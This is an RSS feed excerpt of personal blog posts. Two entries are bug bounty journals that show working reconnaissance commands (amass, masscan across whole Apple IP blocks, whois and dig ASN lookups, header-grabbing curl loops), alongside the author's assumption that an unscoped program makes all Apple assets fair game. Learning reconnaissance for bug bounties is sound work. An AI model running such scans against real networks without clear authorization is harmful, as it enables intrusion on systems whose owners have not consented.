the spirit of admitting mistakes I’d like to share one that I made early on. My plan when I started this journey was to record my screen as I’m coding so I could share all my live coding videos with the world, raw and unedited. Doing this would serve multiple purposes. First, by knowing that the entire internet would be able to watch me fumble around Sublime I would be forced to keep on track and not wander over to Discord or some other time-wasting task. Second, it would allow me to be able to review everything I’ve coded in case I forget how I did something. Third, and this one is important, it allows me to watch my inefficiencies play out right in front of me so I can figure out how to better improve my time usage. Not a bad idea if you ask me. What<strong> wasn’t</strong> a good idea was saving all of these 1–3 hour videos in the same git repository as my code. Now, before you go laughing at my hopeless ignorance let me explain myself. I understood that Github doesn’t like it when you try to push files larger then 100mb, and repositories allow no more then 1GB of storage, but I figured if I just added the directory to .gitignore then all would be fine. It wasn’t. Initially I had pushed the first video in my live-coding directory to Github, so it was already in the cache. Even though I had later added this directory to .gitignore, git was still tracking it. The end result was not being able to push anything to the main branch of the repository.</p><blockquote>WARNING: git-filter-branch has a glut of gotchas generating mangled history<br> rewrites. Hit Ctrl-C before proceeding to abort, then use an<br> alternative filtering tool such as ‘git filter-repo’<br> (<a href="https://github.com/newren/git-filter-repo/">https://github.com/newren/git-filter-repo/</a>) instead. See the<br> filter-branch manual page for more details; to squelch this warning,<br> set FILTER_BRANCH_SQUELCH_WARNING=1</blockquote><p>Oops. This is about the time that I start frantically foraging for solutions to my issues in hope that I gather something to sustain me before the winter comes. This <a href="https://stackoverflow.com/questions/19573031/cant-push-to-github-because-of-large-file-which-i-already-deleted">tasty morsel</a> ended up saving my skin. With the guidance of Stack Overflow I ended up beating the second solution into submission by squashing the repo:</p><p>git reset — soft HEAD~7</p><p>There were a total of 8 commits on that branch so I figured I didn’t do much of anything on main (since I’m using individual day branches) and I’d just reset to the first commit.</p><p>git add .<br>git commit -m “fixed stuff maybe???”<br>git push origin main</p><p>Problem solved. I’m sure most of you aren’t clumsy enough to make this mistake, but if you are, I hope this may help you fix it.</p><p>I want to revisit this idea of copying code you’ve found on the internet and shaping it to fit your application. Don’t get me wrong, I’m not advocating for ripping off other people’s code and pasting it into your project without having an understanding of what the code is doing. In fact, one of my favorite things about writing code is that euphoric feeling you get when you finally understand something that previously seemed like an alien language to you. However, if I’m being honest, when it comes to creating a web application, sometimes I just want things to work. So when I find, say, a really great looking example of a <a href="https://github.com/mui-org/material-ui/tree/master/docs/src/pages/getting-started/templates/sign-in">Sign Up page</a> that I’d like my own project to have, I don’t necessarily see anything wrong with copying the code and adding it into your own application. At least as long as you understand what you are copying. In fact, this is exactly how I learned React. I found a template that I wanted to emulate and I began researching each of the components until I knew what each of them were doing, and now if I wanted to create a component from scratch I have the ability to do that. Years ago when I first began teaching myself the PHP language I did the same thing. To be honest, I was never the best student; sitting and listening to someone give a lecture, or reading some dry textbook chapter by chapter just wasn’t the way I learned. So when it came to coding, all I wanted to do was find something to take apart and then rebuild to see if it works. So, if you’ve created a beautiful sign up page, or a really sleek looking four-step form… or perhaps a PHP web shell of some sort, I’m inclined to borrow your code and tear it to pieces.</p><p>At the time of writing this, I’m exactly at the halfway point of the 100DaysOfCode challenge. Fifty days left in the journey. When I was on the Pacific Crest Trail everyone talked about how amazing, and terrible, it felt to get to the halfway point. “Damn, I have to do that all over again?” It’s easy to feel that way. One thing I’ve learned about very long journeys is that the second half never feels the same as the first. So as easy as it is to feel overwhelmed by what lies ahead, just know that it will always be different, and better, than you can imagine.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=859601d1cae6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Subdomain and IP Reconnaissance — A Bug Bounty Journal]]></title>
            <link>https://djislucid.medium.com/subdomain-and-ip-reconnaissance-a-bug-bounty-journal-7541e278e5c2?source=rss-1b24a7998cb1------2</link>
            <guid isPermaLink="false">https://medium.com/p/7541e278e5c2</guid>
            <category><![CDATA[recon]]></category>
            <category><![CDATA[journal]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[DJ Nelson]]></dc:creator>
            <pubDate>Thu, 11 Mar 2021 05:28:00 GMT</pubDate>
            <atom:updated>2022-04-18T01:51:22.757Z</atom:updated>
            <content:encoded><![CDATA[<h3>Subdomain and IP Reconnaissance — A Bug Bounty Journal</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0epFtVeva6xbnj-z-qUtEw.jpeg" /></figure><p>In my first <a href="https://dj-thirdsmedia.medium.com/horizontal-domain-reconnaissance-a-bug-bounty-journal-189f5b2afa6f">journal entry</a> I walked through performing horizontal domain reconnaissance on Apple’s network in order to find a complete list of domains which are owned by the monolithic organization we all know. This entry picks up where we left off. Let’s continue.</p><p><strong>Finding the right tree</strong></p><p>So after vetting Apple’s ASN space I ended up with these domains to pick from:</p><pre>aaplimg.com -&gt; Apple’s CDN<br>apple-cloudkit.com <br>apple.com -&gt; Main site<br>apple.com.cn<br>applesurveys.com -&gt; Redirects to <a href="https://idmsac.apple.com/IDMSWebAuth/SAMLLogin">https://idmsac.apple.com/IDMSWebAuth/SAMLLogin</a><br>beatsbydre.com<br>apple.channel.support<br>icloud.com<br>icloud-content.com -&gt; redirects to <a href="https://developer.apple.com/icloud">https://developer.apple.com/icloud</a><br>icloud.com.cn<br>itunesmusicstore.com<br>mzstatic.com</pre><p>A few of these do redirect to apple.com, however they have their own subdomains, so I’m going to keep all of these to attempt to discover subdomains on anyway. Obviously the two big ones are apple.com and icloud.com, although I’m interested in aaplimg.com as well, even though the root domain redirects to apple.com. For now though, I’ll start with apple.com.</p><pre># screen -S apple.com.subs amass enum -config ~/.config/amass/config.ini -active -ip -d apple.com -o subs.txt</pre><p>I do all my bug bounty relating activities on a Digital Ocean box, so I like using the screen command line utility to background commands that I expect will take some time to run. While I’m waiting for that to finish I’ll move on to enumerate Apple’s IP space.</p><p>Ok, let’s check the main domain’s ASN</p><pre># dig +short apple.com|xargs -n1 -I{} whois -h whois.cymru.com {}</pre><pre>AS | IP | AS Name<br>714 | 17.253.144.10 | APPLE-ENGINEERING, US</pre><p>With that little number we can find all their IP blocks.</p><pre># whois -h whois.radb.net — ‘-i origin AS714’ |grep route: |awk ‘{print $2}’ |tee ip-blocks.txt</pre><p>Um, woah. There is a MASSIVE amount of IP blocks. Not that I’m surprised. Also, just out of curiosity I want to see what the other autonomous systems belonging to Apple, Inc look like.</p><pre># for ip in $(cat apple-domains.txt |xargs -n1 -I{} dig +short {}); do whois -h whois.cymru.com $ip|grep -v ‘AS Name’; done</pre><pre>714 | 17.178.96.39 | APPLE-ENGINEERING, US<br>714 | 17.142.160.39 | APPLE-ENGINEERING, US<br>714 | 17.172.224.28 | APPLE-ENGINEERING, US<br>714 | 17.254.0.91 | APPLE-ENGINEERING, US<br>714 | 17.253.144.10 | APPLE-ENGINEERING, US<br>714 | 17.253.142.4 | APPLE-ENGINEERING, US<br>714 | 17.137.160.86 | APPLE-ENGINEERING, US<br>714 | 17.179.240.124 | APPLE-ENGINEERING, US<br>14618 | 34.224.107.175 | AMAZON-AES, US<br>14618 | 52.202.224.80 | AMAZON-AES, US<br>714 | 17.179.240.152 | APPLE-ENGINEERING, US<br>714 | 17.253.144.10 | APPLE-ENGINEERING, US<br>714 | 17.253.142.4 | APPLE-ENGINEERING, US<br>714 | 17.253.144.10 | APPLE-ENGINEERING, US<br>133618 | 103.224.182.245 | TRELLIAN-AS-AP Trellian Pty. Limited, AU<br>714 | 17.253.142.4 | APPLE-ENGINEERING, US</pre><p>Looks like 14618 belongs to Amazon. Of course Apple is going to use AWS resources as well. The other one, 133618, isn’t directly owned by Apple but it’s always good to check anyway</p><p><a href="https://www.crunchbase.com/organization/trellian">https://www.crunchbase.com/organization/trellian</a></p><p>Nothing terribly interesting. Looks like AS714 is the forest we should be spending our day in. But first, I want to get an idea of what these smaller organizations found on bgp.he.net are.</p><pre># masscan-top-ports — rate 10000 -iL ip-blocks-as6185.txt</pre><p>I pick an IP that has a web server and visit the URL in firefox. It leads me to a page that says Not Found on Accelerator. It’s an Apache Traffic Server.</p><pre># host 17.253.13.5<br> <br>85.36.253.17.in-addr.arpa domain name pointer uklon6-doh-003.aaplimg.com.</pre><p>So that’s what aaplimg.com is for. Got it. This is essentially Apple’s very own CDN. I’ve noticed some AWS hosts and some Akamai Edge stuff, but it seems like they also have their own. Some googling tells me that these are specifically for facilitating Apple downloads. Probably for updates for operating systems and the like. That’s good to know. I’ll move on for now.</p><pre># masscan-top-ports — rate 10000 -iL ip-blocks-as2709.txt</pre><p>This turned up a bunch of IP addresses that don’t resolve to any hostname, and have mainly ports 8081 and 443. Any attempts to visit them in a browser or via socket fail.</p><p>However, when I attempt to visit one that is running on port 80 in the browser it takes me to <a href="http://gsp11-rd12-edge.ls.apple.com/">http://gsp11-rd12-edge.ls.apple.com/</a> after a few seconds and gives me an error stating that it failed to redirect. Others on port 8081 redirect to <a href="https://courier.push.apple.com/">https://courier.push.apple.com/</a> and give a Secure Connection Failed error. So I either need the proper SSL certificate for, or the server is using an outdated version.</p><pre># openssl s_client -connect 17.252.226.27:443</pre><p>It connects, but gives me no interesting information. After googling I find that these are all Apple’s APNs. APN stands for Apple Push Notification. What these do is basically send those notifications you see pop up on your mobile device screen. These enable third party apps to establish a secure connection with a device and send notifications from a remote server to the user within that secure connection. So, basically to use these I need an APN certificate. Interesting. I can’t wait to run some iPhone traffic through Burpsuite so I can analyze which resources the phone and it’s services and third party apps utilize. But for now I’ll just take note of this. Let’s move on.</p><p>I’m guessing this next command will take a century or two.</p><pre># screen -S as714.port.scan masscan -p$(cat ./wordlists/interesting-ports.txt) --rate 100000 -iL ip-blocks-as714.txt -oG ports-as714.txt</pre><p>Great. So it should only take about three hours. I guess that’s not terrible, all things considered. I’m running at a fairly high rate so I’m sure it won’t catch every port, but this should do well enough. Now I’ve got this scan, plus an active amass scan of apple.com running in different screens. I think my VPS has enough to deal with right now. I’ll let it run over night and see what we get in the morning. In the mean time, I may do some deep diving into a certain login portal, just to learn more about Apple’s technologies.</p><p>After the masscan completed I find 35,865 ports of the 50-something that I scanned, and it seems they’ve done a fairly decent job of minimizing attack surface. Aside from the massive amount of web servers I see a bunch of DNS, a chunk of SMTP, a few SSH and the odd obscure alternate HTTPS here and there. I couldn’t imagine I’d find much but I’ll check to see the naming conventions of the different kinds of servers.</p><pre># cat ports-as714.txt |grep ‘Ports: 53’|cut -d’ ‘ -f2|xargs -n1 -I{} host {}</pre><p>The DNS servers for example are all hosted on aaplimg.com. A number of the SSH servers have names that suggest they are FTP servers, so perhaps once you log in via SSH you get access to internal FTP servers.</p><pre># cat ports-as714.txt |grep ‘Ports: 4443’ |cut -d’ ‘ -f2 |xargs -n1 -I{} host {} </pre><pre>&lt;redacted&gt;.in-addr.arpa domain name pointer &lt;redacted&gt;.apple.com.<br>&lt;redacted&gt;.in-addr.arpa domain name pointer &lt;redacted&gt;.apple.com.<br>13.48.56.17.in-addr.arpa domain name pointer foundationdb.org.<br>13.48.56.17.in-addr.arpa domain name pointer prconfig.apple.com.<br>&lt;redacted&gt;.in-addr.arpa domain name pointer &lt;redacted&gt;.apple.com.<br>13.48.56.17.in-addr.arpa domain name pointer foundationdb.com.<br>13.48.56.17.in-addr.arpa domain name pointer foundationdb.net.</pre><p>Well that’s sort of interesting. I’ve found two hosts that have rather obscure names I more then likely wouldn’t have found using Amass. So thinking about it, I could grep for all ports that <strong>aren’t</strong> web servers and see which ones I could httprobe or take screenshots of to see which ones also have web servers. May be a decent way to find obscure web servers that I may have missed but are interesting.</p><p>Also, it seems we’ve found Apple’s VPN servers.</p><pre># cat ports-as714.txt |grep ‘Ports: 10000’ |cut -d’ ‘ -f2 |xargs -n1 -I{} host {}</pre><pre>&lt;redacted&gt;.in-addr.arpa domain name pointer &lt;redacted&gt;-vpn6.apple.com.<br>&lt;redacted&gt;.in-addr.arpa domain name pointer &lt;redacted&gt;.apple.com.</pre><p>This has already been a productive ten minutes. I’m going to go back and check out the results of the subdomain enumeration of apple.com. But for now let’s call it a day.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7541e278e5c2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Horizontal Domain Reconnaissance — A Bug Bounty Journal]]></title>
            <link>https://djislucid.medium.com/horizontal-domain-reconnaissance-a-bug-bounty-journal-189f5b2afa6f?source=rss-1b24a7998cb1------2</link>
            <guid isPermaLink="false">https://medium.com/p/189f5b2afa6f</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[recon]]></category>
            <category><![CDATA[journal]]></category>
            <dc:creator><![CDATA[DJ Nelson]]></dc:creator>
            <pubDate>Thu, 11 Mar 2021 04:02:48 GMT</pubDate>
            <atom:updated>2021-03-11T04:28:48.554Z</atom:updated>
            <content:encoded><![CDATA[<h3>Horizontal Domain Reconnaissance — A Bug Bounty Journal</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*L_WrRMce5CGtm8AovN52sQ.jpeg" /></figure><blockquote>In terms of being late or not starting at all, then it’s never too late. — Alison Headley</blockquote><p>I tend to keep fairly thorough (albeit informal) notes while doing recon, however it’s never occurred to me to share anything. I’m not sure why exactly. Especially since a friend once gave me the idea to keep a public journal of all my experiences and endeavors while bug bounty hunting. Years later is better then never I guess.</p><p><strong>Sharpening the axe</strong></p><p>So the first step is just to figure out what root domains belong to Apple. This bounty program isn’t hosted on Hackerone or Bugcrowd and doesn’t display any scope. So my guess is that anything owned by Apple is fair game. This includes physical devices too (which could be fun later)</p><p>My very first move is to visit <a href="http://bgp.he.net/">bgp.he.net</a> and get all the ASNs for Apple</p><pre>AS714 <br>AS6185 <br>AS2709</pre><p>So far that’s what I’ve got. Apple seems to have a huge IP space, but we will ignore it for now and just focus on ASN enumeration.</p><pre># screen -S amass-apple-session amass intel -config ~/.config/amass/config.ini -active -asn 714,6185,2709 -o Targets/Apple/horizontal-domains.txt</pre><p>Once this is completed, I’ll grep through the output file for icloud, apple, itunes, and anything else that pertains directly to apple. From there I’ll do further checks to make 100% sure that the domains are owned by Apple, Inc and the I’ll have a complete list of all root domains worth looking at by Apple. Then, I can pick a domain and begin subdomain reconnaissance on one or all root domains.</p><pre># cat horizontal-domains.txt |sort -u |xargs -n1 -I{} host {} &gt; resolved-hosts.txt</pre><p>So I just picked a random domain that doesn’t seem to be related to apple and grabbed it’s IP address from the file. In this case I visited <a href="https://swell.am/">https://swell.am</a> which happens to redirect to <a href="http://apple.com/">apple.com</a> itself. Now I know that the IP address 17.253.142.4 points to <a href="http://apple.com/">apple.com</a>. So what I’ll do is grep for all the lines with that IP and I’ll have a list of all of <a href="http://apple.com/">apple.com</a>’s alias</p><pre># grep 17.253.142.4 resolved-hosts.txt &gt; apple-aliases.txt</pre><p>So now what? Well, I have three files. One containing all the domains discovered with amass intel, one with all the domains ran through the host command, and one with all the aliases for <a href="http://apple.com/">apple.com</a>. So I guess what I need to do is remove all of <a href="http://apple.com/">apple.com</a>’s hosts from the first file I mentioned somehow, leaving me with only hosts that don’t point at <a href="http://apple.com/">apple.com</a>. I decided to take the file containing all the results of running host against all the horizontal domains and parsed out duplicates.</p><pre># cat horizontal-hosts.txt |cut -d&#39; &#39; -f1|sort -u &gt; all-domains.txt</pre><p>Turns out a large portion of these seem to point directly back to <a href="https://www.apple.com/">https://www.apple.com</a> including weird ones like <a href="http://alchemysynth.com/">alchemysynth.com</a> and <a href="http://burstly.net/">burstly.net</a>. So, I’ll want to loop through all these and check to see which ones point back to <a href="http://apple.com/">apple.com</a> and which ones don’t.</p><pre># curl -I <a href="http://burstly.net/">http:</a><a href="http://burstly.net/"><em>//burstly.net</em></a></pre><p>That returns</p><pre>HTTP/1.1 301 Moved Permanently<br>    Server: red 3.8<br>    Date: Mon,  9.Nov 2020 23:21:15 GMT<br>    Referer: http://burstly.net/<br>    Location: https://www.apple.com/<br>    Connection: close<br>    Content-Type: text/html<br>    Content-Length: 0</pre><p>So unless if I’m thinking about this the long way around I can just run a loop through all of those domains, curl for the headers, and grep the Location header. If it shows <a href="https://www.apple.com/">https://www.apple.com</a> then move on, if not, then echo it to a new file. First though, I might as well check to see which ones are even live HTTP servers in the first place, and then the resulting list will be easier to pass to curl</p><pre># cat all-domains.txt |httprobe &gt; live-urls.txt</pre><p>So I ended up writing this script real quick to get a list of where all domains are pointing.</p><pre>#!/bin/bash</pre><pre>    for url in $(cat $1); do<br>            echo &quot;$url -&gt;&quot; $(curl -I -k --silent $url |grep &quot;Location&quot;| cut -d&#39; &#39; -f2) &amp;<br>    done</pre><p>And then ran it and piped it elsewhere</p><pre># ./test.sh all-domains &gt; location-headers.txt</pre><p>Ok. Now I have a big list of URLs that all the aliases redirect to. Now I want to parse through it to find domains that aren’t <a href="http://apple.com/">apple.com</a>. May not be pretty but here’s what I came up with ...</p><pre># cat location-headers.txt |grep -F &#39;&gt; http&#39;|cut -d&#39;&gt;&#39; -f2|grep -v .apple.com|sort -u &gt; alternate-urls.txt</pre><p>So then I did some manual editing to remove all http:// and https:// from the file so I could do this….</p><pre># cat alternate-urls.txt |cut -d&#39;/&#39; -f1|sort -u|grep &#39;apple\|icloud\|aaplimg\|itunes&#39; &gt;appleurls.txt<br>    <br># cat alternate-urls.txt |cut -d&#39;/&#39; -f1|sort -u|grep -v &#39;apple\|icloud\|aaplimg\|itunes&#39; &gt;non-appleurls.txt</pre><p>Now I’ll manually walk through and whois the non-appleurls.txt to see if they are indeed owned by Apple…. just kidding. More ugly one-liners!</p><pre># for n in $(cat non-appleurls.txt |rev|cut -d. -f1,2|rev); do echo $n $(whois $n|grep &#39;Tech Organization&#39;); done<br>    <br># for n in $(cat non-appleurls.txt |rev|cut -d. -f1,2|rev); do echo $n $(whois $n|grep &#39;Admin Email&#39;); done</pre><p>And with that mess, I think I’ve found a decent list of accessible horizontal hosts that don’t just point back to <a href="http://apple.com/">apple.com</a>. Here it is:</p><pre>apple.channel.support<br>cdn.apple-cloudkit.com<br>cvws-proxy.icloud-content.com<br>essentials.applesurveys.com<br>icloud.com.cn<br>secure2.store.v.aaplimg.com<br>storefront-support.v.aaplimg.com<br>ww1.itunesmusicstore.com<br>ww17.itunesmusicstore.com<br>www.icloud.com<br>apple.com<br>beatsbydre.com<br>mzstatic.com</pre><p>And now one very last thing before I move on from horizontal reconnaissance.</p><pre># cat appleurls.txt |rev|cut -d. -f1,2|rev|sort -u |tee apple-domains.txt</pre><pre>    aaplimg.com<br>    apple-cloudkit.com<br>    apple.com<br>    applesurveys.com<br>    beatsbydre.com<br>    channel.support         &lt;- this was apple.channel.support<br>    com.cn               &lt;- this was icloud.com.cn. I&#39;ll fix it in the file and keep it so I can enumerate the china one too<br>    icloud-content.com<br>    icloud.com<br>    itunesmusicstore.com<br>    mzstatic.com</pre><p>These are all the domains I could do subdomain enumeration on. I feel confident that I vetted this list thoroughly enough as to know that they are all owned by Apple, Inc. Everything else I discovered points to a subdomain or endpoint of <a href="http://apple.com/">apple.com</a>. To add one further note, I visited these manually and found a number of them point to this URL: <a href="https://idmsa.apple.com/IDMSWebAuth/SAMLSignin">https://idmsa.apple.com/IDMSWebAuth/SAMLSignin</a>. So I should jot this down. I’m sure it’s hardened by professionals, but I’ll keep it around anyway. It would be good to spend a serious bit of time looking at it in Burpsuite and the Developer Console just to get an idea of the technology being used and try to really understand how it works. Ok, I think that’s it for horizontal recon. Next I’ll tackle subdomain enumeration.</p><p>Oh and for the record, I’m truly sorry about all the bash…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=189f5b2afa6f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Start of a 100 Day Coding Journey]]></title>
            <link>https://djislucid.medium.com/the-start-of-a-100-day-coding-journey-61fca6da94c8?source=rss-1b24a7998cb1------2</link>
            <guid isPermaLink="false">https://medium.com/p/61fca6da94c8</guid>
            <category><![CDATA[journey]]></category>
            <category><![CDATA[100daychallenge]]></category>
            <category><![CDATA[pacific-crest-trail]]></category>
            <category><![CDATA[100daysofcode]]></category>
            <dc:creator><![CDATA[DJ Nelson]]></dc:creator>
            <pubDate>Thu, 18 Feb 2021 09:06:28 GMT</pubDate>
            <atom:updated>2022-04-18T01:57:03.010Z</atom:updated>
            <content:encoded><![CDATA[<p>The beginning of the 100DaysOfCode challenge wasn’t dissimilar to my experience beginning the 146 days I spent on the Pacific Crest Trail. I was excited to get going, but hadn’t spent very much time preparing, and had no idea what I was getting myself into.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pF-F1sBlscv-guxeJ2RInA.jpeg" /></figure><p>The first day of my journey I was tired, absolutely unsure of how to proceed, and even got lost for a little bit before I found my way to the start. Once started though, I was ecstatic and blissfully unaware of where the path in front of me would lead. Now sitting down in front of a computer and coding for an hour a day for one hundred days isn’t exactly equivalent to the monumental effort it takes to hike 2,650 miles, twenty or so miles a day, for what ended up being 146 days (aside from a week I spent off of the trail), but I find the mentality I had at the start felt strikingly similar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*klrkcrg36-Sd-CeDa_5uzw.jpeg" /><figcaption>It’s okay, they knew I was following them.</figcaption></figure><p>Some time after finishing the Pacific Crest Trail I found myself wondering what the hell I was going to do next. Re-adjusting to normal society wasn’t exactly a seamless transition. I worked as a delivery driver at Domino’s and lived in an apartment with one roommate. Frequently after work I would spend hours aimlessly driving around in silence, avoiding going home. Being around normal people just didn’t feel comfortable. Outside of work I spent the days on my laptop tinkering around with Ruby code and researching web security trying to find some success bug bounty hunting. After all, right before hiking the trail I had successfully completed the PWK course earning myself the much-coveted OSCP certificate after spending 135 days in the labs, so making money on bug bounties should be a piece of cake right? At least until I figured out if I wanted to commit to a career in InfoSec. It didn’t go exactly as planned, and it only added to my confusion about the next step to take. By the time the lease expired I had gotten a new (but very part time) job as a bartender at a craft beer bar, but hadn’t gotten any closer to deciding the next move to make, so I just didn’t make a move. It was summer time, so after I got done working at the bar I would head outside of town where I had set up a tent and I’d spend the night there, or I’d camp at a free campground located at a town park.</p><p>Okay wait… what?</p><p>Before I keep re-living the past, let’s jump forward just a bit. This particular story isn’t about hiking after all. It’s about coding. More then that, it’s about building.</p><h4>The First 100 Days</h4><p>A couple of friends and I own a start-up company called ThirdsMedia. What our company is, and has been, is a story all on it’s own. Right now, we are in the midst of a reformation that began on February 2nd, 2021. We decided as a team to start from scratch and re-build the company’s foundation. We call this rebuilding, “The First 100 Days”. Each member will be taking on their own <a href="https://www.100daysofx.com/">#100DaysOfX challenge</a> according to their passion. My journey is focused on #100DaysOfCode. Typically when people do a 100DaysOfCode challenge their goal is to break through the barrier that’s prevented them from learning to code in the past, improve upon their current coding skills, or learn a new language or technology. I’ve coded in various languages over the years, but never spent enough time on one to become proficient. Because of this my goal for the 100 day challenge is twofold: I want to become strong enough in front-end development to be able to create professional, modern applications, and I want to create a MVP for our company in the form of a cross-platform web and mobile application. For this reason I chose React JS and Material UI. Focusing on these frameworks will enable me to build a beautiful and functional web application, and then with the use of tools such as <a href="https://capacitorjs.com/solution/react">Capacitor</a> I can convert it into both an iOS and Android app.</p><p>I recall the first weeks of the hike feeling like a lifetime of experience. At the time of writing this post I’ve completed 16 days of the challenge, but already it feels longer.</p><p>At the beginning of The First 100 Days I was excited to get going, but hadn’t spent very much time preparing and, well… I’ve got a funny feeling that I have no idea what I’m getting myself into.</p><p>Here goes.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=61fca6da94c8" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>